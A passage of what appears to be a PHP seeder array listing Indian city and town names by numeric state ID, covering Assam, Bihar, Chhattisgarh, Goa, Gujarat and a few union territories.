['state_id' => '4', 'name' => 'bihpuria'],\n ['state_id' => '4', 'name' => 'bijni'],\n ['state_id' => '4', 'name' => 'bilasipara'],\n ['state_id' => '4', 'name' => 'biswanath chariali'],\n ['state_id' => '4', 'name' => 'bohori'],\n ['state_id' => '4', 'name' => 'bokajan'],\n ['state_id' => '4', 'name' => 'bokokhat'],\n ['state_id' => '4', 'name' => 'bongaigaon'],\n ['state_id' => '4', 'name' => 'bongaigaon petro-chemical town'],\n ['state_id' => '4', 'name' => 'borgolai'],\n ['state_id' => '4', 'name' => 'chabua'],\n ['state_id' => '4', 'name' => 'chandrapur bagicha'],\n ['state_id' => '4', 'name' => 'chapar'],\n ['state_id' => '4', 'name' => 'chekonidhara'],\n ['state_id' => '4', 'name' => 'choto haibor'],\n ['state_id' => '4', 'name' => 'dergaon'],\n ['state_id' => '4', 'name' => 'dharapur'],\n ['state_id' => '4', 'name' => 'dhekiajuli'],\n ['state_id' => '4', 'name' => 'dhemaji'],\n ['state_id' => '4', 'name' => 'dhing'],\n ['state_id' => '4', 'name' => 'dhubri'],\n ['state_id' => '4', 'name' => 'dhuburi'],\n ['state_id' => '4', 'name' => 'dibrugarh'],\n ['state_id' => '4', 'name' => 'digboi'],\n ['state_id' => '4', 'name' => 'digboi oil town'],\n ['state_id' => '4', 'name' => 'dimaruguri'],\n ['state_id' => '4', 'name' => 'diphu'],\n ['state_id' => '4', 'name' => 'dispur'],\n ['state_id' => '4', 'name' => 'doboka'],\n ['state_id' => '4', 'name' => 'dokmoka'],\n ['state_id' => '4', 'name' => 'donkamokan'],\n ['state_id' => '4', 'name' => 'duliagaon'],\n ['state_id' => '4', 'name' => 'duliajan'],\n ['state_id' => '4', 'name' => 'duliajan no.1'],\n ['state_id' => '4', 'name' => 'dum duma'],\n ['state_id' => '4', 'name' => 'durga nagar'],\n ['state_id' => '4', 'name' => 'gauripur'],\n ['state_id' => '4', 'name' => 'goalpara'],\n ['state_id' => '4', 'name' => 'gohpur'],\n ['state_id' => '4', 'name' => 'golaghat'],\n ['state_id' => '4', 'name' => 'golakganj'],\n ['state_id' => '4', 'name' => 'gossaigaon'],\n ['state_id' => '4', 'name' => 'guwahati'],\n ['state_id' => '4', 'name' => 'haflong'],\n ['state_id' => '4', 'name' => 'hailakandi'],\n ['state_id' => '4', 'name' => 'hamren'],\n ['state_id' => '4', 'name' => 'hauli'],\n ['state_id' => '4', 'name' => 'hauraghat'],\n ['state_id' => '4', 'name' => 'hojai'],\n ['state_id' => '4', 'name' => 'jagiroad'],\n ['state_id' => '4', 'name' => 'jagiroad paper mill'],\n ['state_id' => '4', 'name' => 'jogighopa'],\n ['state_id' => '4', 'name' => 'jonai bazar'],\n ['state_id' => '4', 'name' => 'jorhat'],\n ['state_id' => '4', 'name' => 'kampur town'],\n ['state_id' => '4', 'name' => 'kamrup'],\n ['state_id' => '4', 'name' => 'kanakpur'],\n ['state_id' => '4', 'name' => 'karimganj'],\n ['state_id' => '4', 'name' => 'kharijapikon'],\n ['state_id' => '4', 'name' => 'kharupetia'],\n ['state_id' => '4', 'name' => 'kochpara'],\n ['state_id' => '4', 'name' => 'kokrajhar'],\n ['state_id' => '4', 'name' => 'kumar kaibarta gaon'],\n ['state_id' => '4', 'name' => 'lakhimpur'],\n ['state_id' => '4', 'name' => 'lakhipur'],\n ['state_id' => '4', 'name' => 'lala'],\n ['state_id' => '4', 'name' => 'lanka'],\n ['state_id' => '4', 'name' => 'lido tikok'],\n ['state_id' => '4', 'name' => 'lido town'],\n ['state_id' => '4', 'name' => 'lumding'],\n ['state_id' => '4', 'name' => 'lumding railway colony'],\n ['state_id' => '4', 'name' => 'mahur'],\n ['state_id' => '4', 'name' => 'maibong'],\n ['state_id' => '4', 'name' => 'majgaon'],\n ['state_id' => '4', 'name' => 'makum'],\n ['state_id' => '4', 'name' => 'mangaldai'],\n ['state_id' => '4', 'name' => 'mankachar'],\n ['state_id' => '4', 'name' => 'margherita'],\n ['state_id' => '4', 'name' => 'mariani'],\n ['state_id' => '4', 'name' => 'marigaon'],\n ['state_id' => '4', 'name' => 'moran'],\n ['state_id' => '4', 'name' => 'moranhat'],\n ['state_id' => '4', 'name' => 'nagaon'],\n ['state_id' => '4', 'name' => 'naharkatia'],\n ['state_id' => '4', 'name' => 'nalbari'],\n ['state_id' => '4', 'name' => 'namrup'],\n ['state_id' => '4', 'name' => 'naubaisa gaon'],\n ['state_id' => '4', 'name' => 'nazira'],\n ['state_id' => '4', 'name' => 'new bongaigaon railway colony'],\n ['state_id' => '4', 'name' => 'niz-hajo'],\n ['state_id' => '4', 'name' => 'north guwahati'],\n ['state_id' => '4', 'name' => 'numaligarh'],\n ['state_id' => '4', 'name' => 'palasbari'],\n ['state_id' => '4', 'name' => 'panchgram'],\n ['state_id' => '4', 'name' => 'pathsala'],\n ['state_id' => '4', 'name' => 'raha'],\n ['state_id' => '4', 'name' => 'rangapara'],\n ['state_id' => '4', 'name' => 'rangia'],\n ['state_id' => '4', 'name' => 'salakati'],\n ['state_id' => '4', 'name' => 'sapatgram'],\n ['state_id' => '4', 'name' => 'sarthebari'],\n ['state_id' => '4', 'name' => 'sarupathar'],\n ['state_id' => '4', 'name' => 'sarupathar bengali'],\n ['state_id' => '4', 'name' => 'senchoagaon'],\n ['state_id' => '4', 'name' => 'sibsagar'],\n ['state_id' => '4', 'name' => 'silapathar'],\n ['state_id' => '4', 'name' => 'silchar'],\n ['state_id' => '4', 'name' => 'silchar part-x'],\n ['state_id' => '4', 'name' => 'sonari'],\n ['state_id' => '4', 'name' => 'sorbhog'],\n ['state_id' => '4', 'name' => 'sualkuchi'],\n ['state_id' => '4', 'name' => 'tangla'],\n ['state_id' => '4', 'name' => 'tezpur'],\n ['state_id' => '4', 'name' => 'tihu'],\n ['state_id' => '4', 'name' => 'tinsukia'],\n ['state_id' => '4', 'name' => 'titabor'],\n ['state_id' => '4', 'name' => 'udalguri'],\n ['state_id' => '4', 'name' => 'umrangso'],\n ['state_id' => '4', 'name' => 'uttar krishnapur part-i'],\n ['state_id' => '5', 'name' => 'amarpur'],\n ['state_id' => '5', 'name' => 'ara'],\n ['state_id' => '5', 'name' => 'araria'],\n ['state_id' => '5', 'name' => 'areraj'],\n ['state_id' => '5', 'name' => 'asarganj'],\n ['state_id' => '5', 'name' => 'aurangabad'],\n ['state_id' => '5', 'name' => 'bagaha'],\n ['state_id' => '5', 'name' => 'bahadurganj'],\n ['state_id' => '5', 'name' => 'bairgania'],\n ['state_id' => '5', 'name' => 'bakhtiyarpur'],\n ['state_id' => '5', 'name' => 'banka'],\n ['state_id' => '5', 'name' => 'banmankhi'],\n ['state_id' => '5', 'name' => 'bar bigha'],\n ['state_id' => '5', 'name' => 'barauli'],\n ['state_id' => '5', 'name' => 'barauni oil township'],\n ['state_id' => '5', 'name' => 'barh'],\n ['state_id' => '5', 'name' => 'barhiya'],\n ['state_id' => '5', 'name' => 'bariapur'],\n ['state_id' => '5', 'name' => 'baruni'],\n ['state_id' => '5', 'name' => 'begusarai'],\n ['state_id' => '5', 'name' => 'behea'],\n ['state_id' => '5', 'name' => 'belsand'],\n ['state_id' => '5', 'name' => 'bettiah'],\n ['state_id' => '5', 'name' => 'bhabua'],\n ['state_id' => '5', 'name' => 'bhagalpur'],\n ['state_id' => '5', 'name' => 'bhimnagar'],\n ['state_id' => '5', 'name' => 'bhojpur'],\n ['state_id' => '5', 'name' => 'bihar'],\n ['state_id' => '5', 'name' => 'bihar sharif'],\n ['state_id' => '5', 'name' => 'bihariganj'],\n ['state_id' => '5', 'name' => 'bikramganj'],\n ['state_id' => '5', 'name' => 'birpur'],\n ['state_id' => '5', 'name' => 'bodh gaya'],\n ['state_id' => '5', 'name' => 'buxar'],\n ['state_id' => '5', 'name' => 'chakia'],\n ['state_id' => '5', 'name' => 'chanpatia'],\n ['state_id' => '5', 'name' => 'chhapra'],\n ['state_id' => '5', 'name' => 'chhatapur'],\n ['state_id' => '5', 'name' => 'colgong'],\n ['state_id' => '5', 'name' => 'dalsingh sarai'],\n ['state_id' => '5', 'name' => 'darbhanga'],\n ['state_id' => '5', 'name' => 'daudnagar'],\n ['state_id' => '5', 'name' => 'dehri'],\n ['state_id' => '5', 'name' => 'dhaka'],\n ['state_id' => '5', 'name' => 'dighwara'],\n ['state_id' => '5', 'name' => 'dinapur'],\n ['state_id' => '5', 'name' => 'dinapur cantonment'],\n ['state_id' => '5', 'name' => 'dumra'],\n ['state_id' => '5', 'name' => 'dumraon'],\n ['state_id' => '5', 'name' => 'fatwa'],\n ['state_id' => '5', 'name' => 'forbesganj'],\n ['state_id' => '5', 'name' => 'gaya'],\n ['state_id' => '5', 'name' => 'gazipur'],\n ['state_id' => '5', 'name' => 'ghoghardiha'],\n ['state_id' => '5', 'name' => 'gogri jamalpur'],\n ['state_id' => '5', 'name' => 'gopalganj'],\n ['state_id' => '5', 'name' => 'habibpur'],\n ['state_id' => '5', 'name' => 'hajipur'],\n ['state_id' => '5', 'name' => 'hasanpur'],\n ['state_id' => '5', 'name' => 'hazaribagh'],\n ['state_id' => '5', 'name' => 'hilsa'],\n ['state_id' => '5', 'name' => 'hisua'],\n ['state_id' => '5', 'name' => 'islampur'],\n ['state_id' => '5', 'name' => 'jagdispur'],\n ['state_id' => '5', 'name' => 'jahanabad'],\n ['state_id' => '5', 'name' => 'jamalpur'],\n ['state_id' => '5', 'name' => 'jamhaur'],\n ['state_id' => '5', 'name' => 'jamui'],\n ['state_id' => '5', 'name' => 'janakpur road'],\n ['state_id' => '5', 'name' => 'janpur'],\n ['state_id' => '5', 'name' => 'jaynagar'],\n ['state_id' => '5', 'name' => 'jha jha'],\n ['state_id' => '5', 'name' => 'jhanjharpur'],\n ['state_id' => '5', 'name' => 'jogbani'],\n ['state_id' => '5', 'name' => 'kanti'],\n ['state_id' => '5', 'name' => 'kasba'],\n ['state_id' => '5', 'name' => 'kataiya'],\n ['state_id' => '5', 'name' => 'katihar'],\n ['state_id' => '5', 'name' => 'khagaria'],\n ['state_id' => '5', 'name' => 'khagaul'],\n ['state_id' => '5', 'name' => 'kharagpur'],\n ['state_id' => '5', 'name' => 'khusrupur'],\n ['state_id' => '5', 'name' => 'kishanganj'],\n ['state_id' => '5', 'name' => 'koath'],\n ['state_id' => '5', 'name' => 'koilwar'],\n ['state_id' => '5', 'name' => 'lakhisarai'],\n ['state_id' => '5', 'name' => 'lalganj'],\n ['state_id' => '5', 'name' => 'lauthaha'],\n ['state_id' => '5', 'name' => 'madhepura'],\n ['state_id' => '5', 'name' => 'madhubani'],\n ['state_id' => '5', 'name' => 'maharajganj'],\n ['state_id' => '5', 'name' => 'mahnar bazar'],\n ['state_id' => '5', 'name' => 'mairwa'],\n ['state_id' => '5', 'name' => 'makhdumpur'],\n ['state_id' => '5', 'name' => 'maner'],\n ['state_id' => '5', 'name' => 'manihari'],\n ['state_id' => '5', 'name' => 'marhaura'],\n ['state_id' => '5', 'name' => 'masaurhi'],\n ['state_id' => '5', 'name' => 'mirganj'],\n ['state_id' => '5', 'name' => 'mohiuddinagar'],\n ['state_id' => '5', 'name' => 'mokama'],\n ['state_id' => '5', 'name' => 'motihari'],\n ['state_id' => '5', 'name' => 'motipur'],\n ['state_id' => '5', 'name' => 'munger'],\n ['state_id' => '5', 'name' => 'murliganj'],\n ['state_id' => '5', 'name' => 'muzaffarpur'],\n ['state_id' => '5', 'name' => 'nabinagar'],\n ['state_id' => '5', 'name' => 'narkatiaganj'],\n ['state_id' => '5', 'name' => 'nasriganj'],\n ['state_id' => '5', 'name' => 'natwar'],\n ['state_id' => '5', 'name' => 'naugachhia'],\n ['state_id' => '5', 'name' => 'nawada'],\n ['state_id' => '5', 'name' => 'nirmali'],\n ['state_id' => '5', 'name' => 'nokha'],\n ['state_id' => '5', 'name' => 'paharpur'],\n ['state_id' => '5', 'name' => 'patna'],\n ['state_id' => '5', 'name' => 'phulwari'],\n ['state_id' => '5', 'name' => 'piro'],\n ['state_id' => '5', 'name' => 'purnia'],\n ['state_id' => '5', 'name' => 'pusa'],\n ['state_id' => '5', 'name' => 'rafiganj'],\n ['state_id' => '5', 'name' => 'raghunathpur'],\n ['state_id' => '5', 'name' => 'rajgir'],\n ['state_id' => '5', 'name' => 'ramnagar'],\n ['state_id' => '5', 'name' => 'raxaul'],\n ['state_id' => '5', 'name' => 'revelganj'],\n ['state_id' => '5', 'name' => 'rusera'],\n ['state_id' => '5', 'name' => 'sagauli'],\n ['state_id' => '5', 'name' => 'saharsa'],\n ['state_id' => '5', 'name' => 'samastipur'],\n ['state_id' => '5', 'name' => 'sasaram'],\n ['state_id' => '5', 'name' => 'shahpur'],\n ['state_id' => '5', 'name' => 'shaikhpura'],\n ['state_id' => '5', 'name' => 'sherghati'],\n ['state_id' => '5', 'name' => 'shivhar'],\n ['state_id' => '5', 'name' => 'silao'],\n ['state_id' => '5', 'name' => 'sitamarhi'],\n ['state_id' => '5', 'name' => 'siwan'],\n ['state_id' => '5', 'name' => 'sonepur'],\n ['state_id' => '5', 'name' => 'sultanganj'],\n ['state_id' => '5', 'name' => 'supaul'],\n ['state_id' => '5', 'name' => 'teghra'],\n ['state_id' => '5', 'name' => 'tekari'],\n ['state_id' => '5', 'name' => 'thakurganj'],\n ['state_id' => '5', 'name' => 'vaishali'],\n ['state_id' => '5', 'name' => 'waris aliganj'],\n ['state_id' => '6', 'name' => 'chandigarh'],\n ['state_id' => '7', 'name' => 'ahiwara'],\n ['state_id' => '7', 'name' => 'akaltara'],\n ['state_id' => '7', 'name' => 'ambagarh chauki'],\n ['state_id' => '7', 'name' => 'ambikapur'],\n ['state_id' => '7', 'name' => 'arang'],\n ['state_id' => '7', 'name' => 'bade bacheli'],\n ['state_id' => '7', 'name' => 'bagbahara'],\n ['state_id' => '7', 'name' => 'baikunthpur'],\n ['state_id' => '7', 'name' => 'balod'],\n ['state_id' => '7', 'name' => 'baloda'],\n ['state_id' => '7', 'name' => 'baloda bazar'],\n ['state_id' => '7', 'name' => 'banarsi'],\n ['state_id' => '7', 'name' => 'basna'],\n ['state_id' => '7', 'name' => 'bemetra'],\n ['state_id' => '7', 'name' => 'bhanpuri'],\n ['state_id' => '7', 'name' => 'bhatapara'],\n ['state_id' => '7', 'name' => 'bhatgaon'],\n ['state_id' => '7', 'name' => 'bhilai'],\n ['state_id' => '7', 'name' => 'bilaspur'],\n ['state_id' => '7', 'name' => 'bilha'],\n ['state_id' => '7', 'name' => 'birgaon'],\n ['state_id' => '7', 'name' => 'bodri'],\n ['state_id' => '7', 'name' => 'champa'],\n ['state_id' => '7', 'name' => 'charcha'],\n ['state_id' => '7', 'name' => 'charoda'],\n ['state_id' => '7', 'name' => 'chhuikhadan'],\n ['state_id' => '7', 'name' => 'chirmiri'],\n ['state_id' => '7', 'name' => 'dantewada'],\n ['state_id' => '7', 'name' => 'deori'],\n ['state_id' => '7', 'name' => 'dhamdha'],\n ['state_id' => '7', 'name' => 'dhamtari'],\n ['state_id' => '7', 'name' => 'dharamjaigarh'],\n ['state_id' => '7', 'name' => 'dipka'],\n ['state_id' => '7', 'name' => 'doman hill colliery'],\n ['state_id' => '7', 'name' => 'dongargaon'],\n ['state_id' => '7', 'name' => 'dongragarh'],\n ['state_id' => '7', 'name' => 'durg'],\n ['state_id' => '7', 'name' => 'frezarpur'],\n ['state_id' => '7', 'name' => 'gandai'],\n ['state_id' => '7', 'name' => 'gariaband'],\n ['state_id' => '7', 'name' => 'gaurela'],\n ['state_id' => '7', 'name' => 'gelhapani'],\n ['state_id' => '7', 'name' => 'gharghoda'],\n ['state_id' => '7', 'name' => 'gidam'],\n ['state_id' => '7', 'name' => 'gobra nawapara'],\n ['state_id' => '7', 'name' => 'gogaon'],\n ['state_id' => '7', 'name' => 'hatkachora'],\n ['state_id' => '7', 'name' => 'jagdalpur'],\n ['state_id' => '7', 'name' => 'jamui'],\n ['state_id' => '7', 'name' => 'jashpurnagar'],\n ['state_id' => '7', 'name' => 'jhagrakhand'],\n ['state_id' => '7', 'name' => 'kanker'],\n ['state_id' => '7', 'name' => 'katghora'],\n ['state_id' => '7', 'name' => 'kawardha'],\n ['state_id' => '7', 'name' => 'khairagarh'],\n ['state_id' => '7', 'name' => 'khamhria'],\n ['state_id' => '7', 'name' => 'kharod'],\n ['state_id' => '7', 'name' => 'kharsia'],\n ['state_id' => '7', 'name' => 'khonga pani'],\n ['state_id' => '7', 'name' => 'kirandu'],\n ['state_id' => '7', 'name' => 'kirandul'],\n ['state_id' => '7', 'name' => 'kohka'],\n ['state_id' => '7', 'name' => 'kondagaon'],\n ['state_id' => '7', 'name' => 'korba'],\n ['state_id' => '7', 'name' => 'korea'],\n ['state_id' => '7', 'name' => 'koria block'],\n ['state_id' => '7', 'name' => 'kota'],\n ['state_id' => '7', 'name' => 'kumhari'],\n ['state_id' => '7', 'name' => 'kumud katta'],\n ['state_id' => '7', 'name' => 'kurasia'],\n ['state_id' => '7', 'name' => 'kurud'],\n ['state_id' => '7', 'name' => 'lingiyadih'],\n ['state_id' => '7', 'name' => 'lormi'],\n ['state_id' => '7', 'name' => 'mahasamund'],\n ['state_id' => '7', 'name' => 'mahendragarh'],\n ['state_id' => '7', 'name' => 'mehmand'],\n ['state_id' => '7', 'name' => 'mongra'],\n ['state_id' => '7', 'name' => 'mowa'],\n ['state_id' => '7', 'name' => 'mungeli'],\n ['state_id' => '7', 'name' => 'nailajanjgir'],\n ['state_id' => '7', 'name' => 'namna kalan'],\n ['state_id' => '7', 'name' => 'naya baradwar'],\n ['state_id' => '7', 'name' => 'pandariya'],\n ['state_id' => '7', 'name' => 'patan'],\n ['state_id' => '7', 'name' => 'pathalgaon'],\n ['state_id' => '7', 'name' => 'pendra'],\n ['state_id' => '7', 'name' => 'phunderdihari'],\n ['state_id' => '7', 'name' => 'pithora'],\n ['state_id' => '7', 'name' => 'raigarh'],\n ['state_id' => '7', 'name' => 'raipur'],\n ['state_id' => '7', 'name' => 'rajgamar'],\n ['state_id' => '7', 'name' => 'rajhara'],\n ['state_id' => '7', 'name' => 'rajnandgaon'],\n ['state_id' => '7', 'name' => 'ramanuj ganj'],\n ['state_id' => '7', 'name' => 'ratanpur'],\n ['state_id' => '7', 'name' => 'sakti'],\n ['state_id' => '7', 'name' => 'saraipali'],\n ['state_id' => '7', 'name' => 'sarajpur'],\n ['state_id' => '7', 'name' => 'sarangarh'],\n ['state_id' => '7', 'name' => 'shivrinarayan'],\n ['state_id' => '7', 'name' => 'simga'],\n ['state_id' => '7', 'name' => 'sirgiti'],\n ['state_id' => '7', 'name' => 'takhatpur'],\n ['state_id' => '7', 'name' => 'telgaon'],\n ['state_id' => '7', 'name' => 'tildanewra'],\n ['state_id' => '7', 'name' => 'urla'],\n ['state_id' => '7', 'name' => 'vishrampur'],\n ['state_id' => '8', 'name' => 'amli'],\n ['state_id' => '8', 'name' => 'silvassa'],\n ['state_id' => '9', 'name' => 'daman'],\n ['state_id' => '9', 'name' => 'diu'],\n ['state_id' => '10', 'name' => 'delhi'],\n ['state_id' => '10', 'name' => 'new delhi'],\n ['state_id' => '11', 'name' => 'aldona'],\n ['state_id' => '11', 'name' => 'altinho'],\n ['state_id' => '11', 'name' => 'aquem'],\n ['state_id' => '11', 'name' => 'arpora'],\n ['state_id' => '11', 'name' => 'bambolim'],\n ['state_id' => '11', 'name' => 'bandora'],\n ['state_id' => '11', 'name' => 'bardez'],\n ['state_id' => '11', 'name' => 'benaulim'],\n ['state_id' => '11', 'name' => 'betora'],\n ['state_id' => '11', 'name' => 'bicholim'],\n ['state_id' => '11', 'name' => 'calapor'],\n ['state_id' => '11', 'name' => 'candolim'],\n ['state_id' => '11', 'name' => 'caranzalem'],\n ['state_id' => '11', 'name' => 'carapur'],\n ['state_id' => '11', 'name' => 'chicalim'],\n ['state_id' => '11', 'name' => 'chimbel'],\n ['state_id' => '11', 'name' => 'chinchinim'],\n ['state_id' => '11', 'name' => 'colvale'],\n ['state_id' => '11', 'name' => 'corlim'],\n ['state_id' => '11', 'name' => 'cortalim'],\n ['state_id' => '11', 'name' => 'cuncolim'],\n ['state_id' => '11', 'name' => 'curchorem'],\n ['state_id' => '11', 'name' => 'curti'],\n ['state_id' => '11', 'name' => 'davorlim'],\n ['state_id' => '11', 'name' => 'dona paula'],\n ['state_id' => '11', 'name' => 'goa'],\n ['state_id' => '11', 'name' => 'guirim'],\n ['state_id' => '11', 'name' => 'jua'],\n ['state_id' => '11', 'name' => 'kalangat'],\n ['state_id' => '11', 'name' => 'kankon'],\n ['state_id' => '11', 'name' => 'kundaim'],\n ['state_id' => '11', 'name' => 'loutulim'],\n ['state_id' => '11', 'name' => 'madgaon'],\n ['state_id' => '11', 'name' => 'mapusa'],\n ['state_id' => '11', 'name' => 'margao'],\n ['state_id' => '11', 'name' => 'margaon'],\n ['state_id' => '11', 'name' => 'miramar'],\n ['state_id' => '11', 'name' => 'morjim'],\n ['state_id' => '11', 'name' => 'mormugao'],\n ['state_id' => '11', 'name' => 'navelim'],\n ['state_id' => '11', 'name' => 'pale'],\n ['state_id' => '11', 'name' => 'panaji'],\n ['state_id' => '11', 'name' => 'parcem'],\n ['state_id' => '11', 'name' => 'parra'],\n ['state_id' => '11', 'name' => 'penha de franca'],\n ['state_id' => '11', 'name' => 'pernem'],\n ['state_id' => '11', 'name' => 'pilerne'],\n ['state_id' => '11', 'name' => 'pissurlem'],\n ['state_id' => '11', 'name' => 'ponda'],\n ['state_id' => '11', 'name' => 'porvorim'],\n ['state_id' => '11', 'name' => 'quepem'],\n ['state_id' => '11', 'name' => 'queula'],\n ['state_id' => '11', 'name' => 'raia'],\n ['state_id' => '11', 'name' => 'reis magos'],\n ['state_id' => '11', 'name' => 'salcette'],\n ['state_id' => '11', 'name' => 'saligao'],\n ['state_id' => '11', 'name' => 'sancoale'],\n ['state_id' => '11', 'name' => 'sanguem'],\n ['state_id' => '11', 'name' => 'sanquelim'],\n ['state_id' => '11', 'name' => 'sanvordem'],\n ['state_id' => '11', 'name' => 'sao jose-de-areal'],\n ['state_id' => '11', 'name' => 'sattari'],\n ['state_id' => '11', 'name' => 'serula'],\n ['state_id' => '11', 'name' => 'sinquerim'],\n ['state_id' => '11', 'name' => 'siolim'],\n ['state_id' => '11', 'name' => 'taleigao'],\n ['state_id' => '11', 'name' => 'tivim'],\n ['state_id' => '11', 'name' => 'valpoi'],\n ['state_id' => '11', 'name' => 'varca'],\n ['state_id' => '11', 'name' => 'vasco'],\n ['state_id' => '11', 'name' => 'verna'],\n ['state_id' => '12', 'name' => 'abrama'],\n ['state_id' => '12', 'name' => 'adalaj'],\n ['state_id' => '12', 'name' => 'adityana'],\n ['state_id' => '12', 'name' => 'advana'],\n ['state_id' => '12', 'name' => 'ahmedabad'],\n ['state_id' => '12', 'name' => 'ahwa'],\n ['state_id' => '12', 'name' => 'alang'],\n ['state_id' => '12', 'name' => 'ambaji'],\n ['state_id' => '12', 'name' => 'ambaliyasan'],\n ['state_id' => '12', 'name' => 'amod'],\n ['state_id' => '12', 'name' => 'amreli'],\n ['state_id' => '12', 'name' => 'amroli'],\n ['state_id' => '12', 'name' => 'anand'],\n ['state_id' => '12', 'name' => 'andada'],\n ['state_id' => '12', 'name' => 'anjar'],\n ['state_id' => '12', 'name' => 'anklav'],\n ['state_id' => '12', 'name' => 'ankleshwar'],\n ['state_id' => '12', 'name' => 'anklesvar ina'],\n ['state_id' => '12', 'name' => 'antaliya'],\n ['state_id' => '12', 'name' => 'arambhada'],\n ['state_id' => '12', 'name' => 'asarma'],\n ['state_id' => '12', 'name' => 'atul'],\n ['state_id' => '12', 'name' => 'babra'],\n ['state_id' => '12', 'name' => 'bag-e-firdosh'],\n ['state_id' => '12', 'name' => 'bagasara'],\n ['state_id' => '12', 'name' => 'bahadarpar'],\n ['state_id' => '12', 'name' => 'bajipura'],\n ['state_id' => '12', 'name' => 'bajva'],\n ['state_id' => '12', 'name' => 'balasinor'],\n ['state_id' => '12', 'name' => 'banaskantha'],\n ['state_id' => '12', 'name' => 'bansda'],\n ['state_id' => '12', 'name' => 'bantva'],\n ['state_id' => '12', 'name' => 'bardoli'],\n ['state_id' => '12', 'name' => 'barwala'],\n ['state_id' => '12', 'name' => 'bayad'],\n ['state_id' => '12', 'name' => 'bechar'],\n ['state_id' => '12', 'name' => 'bedi'],\n ['state_id' => '12', 'name' => 'beyt'],\n ['state_id' => '12', 'name' => 'bhachau'],\n ['state_id' => '12', 'name' => 'bhanvad'],\n ['state_id' => '12', 'name' => 'bharuch'],\n ['state_id' => '12', 'name' => 'bharuch ina'],\n ['state_id' => '12', 'name' => 'bhavnagar'],\n ['state_id' => '12', 'name' => 'bhayavadar'],\n ['state_id' => '12', 'name' => 'bhestan'],\n ['state_id' => '12', 'name' => 'bhuj'],\n ['state_id' => '12', 'name' => 'bilimora'],\n ['state_id' => '12', 'name' => 'bilkha'],\n ['state_id' => '12', 'name' => 'billimora'],\n ['state_id' => '12', 'name' => 'bodakdev'],\n ['state_id' => '12', 'name' => 'bodeli'],\n ['state_id' => '12', 'name' => 'bopal'],\n ['state_id' => '12', 'name' => 'boria'],\n ['state_id' => '12', 'name' => 'boriavi'],\n ['state_id' => '12', 'name' => 'borsad'],\n ['state_id' => '12', 'name' => 'botad'],\n ['state_id' => '12', 'name' => 'cambay'],\n ['state_id' => '12', 'name' => 'chaklasi'],\n ['state_id' => '12', 'name' => 'chala'],\n ['state_id' => '12', 'name' => 'chalala'],\n ['state_id' => '12', 'name' => 'chalthan'],\n ['state_id' => '12', 'name' => 'chanasma'],\n ['state_id' => '12', 'name' => 'chandisar'],\n ['state_id' => '12', 'name' => 'chandkheda'],\n ['state_id' => '12', 'name' => 'chanod'],\n ['state_id' => '12', 'name' => 'chaya'],\n ['state_id' => '12', 'name' => 'chenpur'],\n ['state_id' => '12', 'name' => 'chhapi'],\n ['state_id' => '12', 'name' => 'chhaprabhatha'],\n ['state_id' => '12', 'name' => 'chhatral'],\n ['state_id' => '12', 'name' => 'chhota udepur'],\n ['state_id' => '12', 'name' => 'chikhli'],\n ['state_id' => '12', 'name' => 'chiloda'],\n ['state_id' => '12', 'name' => 'chorvad'],\n ['state_id' => '12', 'name' => 'chotila'],\n ['state_id' => '12', 'name' => 'dabhoi'],\n ['state_id' => '12', 'name' => 'dadara'],\n ['state_id' => '12', 'name' => 'dahod'],\n ['state_id' => '12', 'name' => 'dakor'],\n ['state_id' => '12', 'name' => 'damnagar'],\n ['state_id' => '12', 'name' => 'deesa'],\n ['state_id' => '12', 'name' => 'delvada'],\n ['state_id' => '12', 'name' => 'devgadh baria'],\n ['state_id' => '12', 'name' => 'devsar'],\n ['state_id' => '12', 'name' => 'dhandhuka'],\n ['state_id' => '12', 'name' => 'dhanera'],\n ['state_id' => '12', 'name' => 'dhangdhra'],\n ['state_id' => '12', 'name' => 'dhansura'],\n ['state_id' => '12', 'name' => 'dharampur'],\n ['state_id' => '12', 'name' => 'dhari'],\n ['state_id' => '12', 'name' => 'dhola'],\n ['state_id' => '12', 'name' => 'dholka'],\n ['state_id' => '12', 'name' => 'dholka rural'],\n ['state_id' => '12', 'name' => 'dhoraji'],\n ['state_id' => '12', 'name' => 'dhrangadhra'],\n ['state_id' => '12', 'name' => 'dhrol'],\n ['state_id' => '12', 'name' => 'dhuva'],\n ['state_id' => '12', 'name' => 'dhuwaran'],\n ['state_id' => '12', 'name' => 'digvijaygram'],\n ['state_id' => '12', 'name' => 'disa'],\n ['state_id' => '12', 'name' => 'dungar'],\n ['state_id' => '12', 'name' => 'dungarpur'],\n ['state_id' => '12', 'name' => 'dungra'],\n ['state_id' => '12', 'name' => 'dwarka'],\n ['state_id' => '12', 'name' => 'flelanganj'],\n ['state_id' => '12', 'name' => 'gsfc complex'],\n ['state_id' => '12', 'name' => 'gadhda'],\n ['state_id' => '12', 'name' => 'gandevi'],\n ['state_id' => '12', 'name' => 'gandhidham'],\n ['state_id' => '12', 'name' => 'gandhinagar'],\n ['state_id' => '12', 'name' => 'gariadhar'],\n ['state_id' => '12', 'name' => 'ghogha'],\n ['state_id' => '12', 'name' => 'godhra'],\n ['state_id' => '12', 'name' => 'gondal'],\n ['state_id' => '12', 'name' => 'hajira ina'],\n ['state_id' => '12', 'name' => 'halol'],\n ['state_id' => '12', 'name' => 'halvad'],\n ['state_id' => '12', 'name' => 'hansot'],\n ['state_id' => '12', 'name' => 'harij'],\n ['state_id' => '12', 'name' => 'himatnagar'],\n ['state_id' => '12', 'name' => 'ichchhapor'],\n ['state_id' => '12', 'name' => 'idar'],\n ['state_id' => '12', 'name' => 'jafrabad'],\n ['state_id' => '12', 'name' => 'jalalpore'],\n ['state_id' => '12', 'name' => 'jambusar'],\n ['state_id' => '12', 'name' => 'jamjodhpur'],\n ['state_id' => '12', 'name' => 'jamnagar'],\n ['state_id' => '12', 'name' => 'jasdan'],\n ['state_id' => '12', 'name' => 'jawaharnagar'],\n ['state_id' => '12', 'name' => 'jetalsar'],\n ['state_id' => '12', 'name' => 'jetpur'],\n ['state_id' => '12', 'name' => 'jodiya'],\n ['state_id' => '12', 'name' => 'joshipura'],\n ['state_id' => '12', 'name' => 'junagadh'],\n ['state_id' => '12', 'name' => 'kadi'],\n ['state_id' => '12', 'name' => 'kadodara'],\n ['state_id' => '12', 'name' => 'kalavad'],\n ['state_id' => '12', 'name' => 'kali'],\n ['state_id' => '12', 'name' => 'kaliawadi'],\n ['state_id' => '12', 'name' => 'kalol'],\n ['state_id' => '12', 'name' => 'kalol ina'],\n ['state_id' => '12', 'name' => 'kandla'],\n ['state_id' => '12', 'name' => 'kanjari'],\n ['state_id' => '12', 'name' => 'kanodar'],\n ['state_id' => '12', 'name' => 'kapadwanj'],\n ['state_id' 